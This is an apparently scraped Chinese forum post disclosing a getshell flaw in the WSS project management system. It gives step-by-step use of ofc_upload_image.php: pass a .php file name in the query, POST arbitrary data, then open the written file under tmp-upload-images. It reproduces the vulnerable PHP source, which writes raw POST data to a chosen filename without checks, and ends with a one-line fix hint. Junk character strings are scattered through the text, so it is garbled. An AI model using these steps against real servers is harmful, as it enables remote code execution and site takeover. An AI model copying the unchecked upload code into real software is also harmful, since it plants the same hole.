WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
/ S; v. [( g( ]" U3 }* h. x5 _
利用：
1 d( r1 s# X4 ]4 ^' \: h7 B  x5 U/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

3 g: }9 s2 P: BPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
1 c) D2 U+ M. ?+ O
  i* C/ w8 x% X2 E2 o9 b<?php

//
// In Open Flash Chart -> save_image debug mode, you
0 l3 W; g% ^1 o) @  J5 K// will see the 'echo' text in a new window.
//
: Z5 K" [8 e; F& }9 {& o6 d
/*
4 Q/ \( U' R& p4 C# x3 P, h5 x4 r
+ a5 K0 `5 u* |% u/ u2 \0 Yprint_r( $_GET );
1 T* ^2 ]6 L2 ^# _& sprint_r( $_POST );
: Z6 n: c* r9 y6 E  Sprint_r( $_FILES );
7 c* `2 F8 }, j* @
( R+ J% ~( Z4 r& x) K- i' [- a  }print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
2 C8 z/ g+ H. f8 Z/ `
*/
1 i' Z5 E/ k$ {2 ?// default path for the image to be stored //
7 |, j. T% X7 [) b  N3 ?$default_path = '../tmp-upload-images/';
3 T% J! |9 n" W% A
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

' F  h2 g1 E3 O0 v, ^: Q// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
% b! z% z. z1 l- N2 i; K2 t" Y6 R
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
* B! z  ~4 l% b6 I, O9 f// print_r( $_SERVER );
+ V& M& Y$ L. t+ r. i; e$ q// echo $HTTP_RAW_POST_DATA;
  E- s  _" x$ A# `4 W5 {" s( H
! o; W4 y" q: M/ Q4 B( Q//
// POST data is usually string data, but we are passing a RAW .png
7 X9 V* U- O  G- k) Q// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
1 p' s$ }0 d7 E6 J* k//

$jfh = fopen($destination, 'w') or die("can't open file");
( d/ c2 i; X. I) p* Wfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
( @5 w, E% X' l; R, }% w+ F
//
8 T& w2 v/ s* c6 I// LOOK:
- m2 `$ e8 I6 d& Q//
& o/ ^  o2 S4 k! S& h' @exit();
//
5 _2 h2 [+ u- G3 _  s// PHP5:
' U& v) j* {, `" N1 ~7 ]; D//

7 G  Y/ b6 C) Z% y. m$ v
// default path for the image to be stored //
0 j/ f' X% m& F7 f6 x9 p8 \$default_path = 'tmp-upload-images/';
6 @( r! w, R- f7 ~. {! u
# K4 Q7 I- Z+ e5 U$ rif (!file_exists($default_path)) mkdir($default_path, 0777, true);
- P* }4 {0 T7 p: ]/ b; i
: m% Y" p5 c3 z// full path to the saved image including filename //
  C. y  v; k: Z, ~$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
/ P. h3 c3 |( X% u3 v} else {
- X7 D$ ~: L5 o    echo "FILE UPLOAD FAILED";
1 r9 U, c+ B7 @/ B' P0 T  w# F}

8 Q- [% A( E2 x( o( c, d7 |
& a8 Y% b" q% w?>





% T: X" N4 Y& T) I: T$ A+ o
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞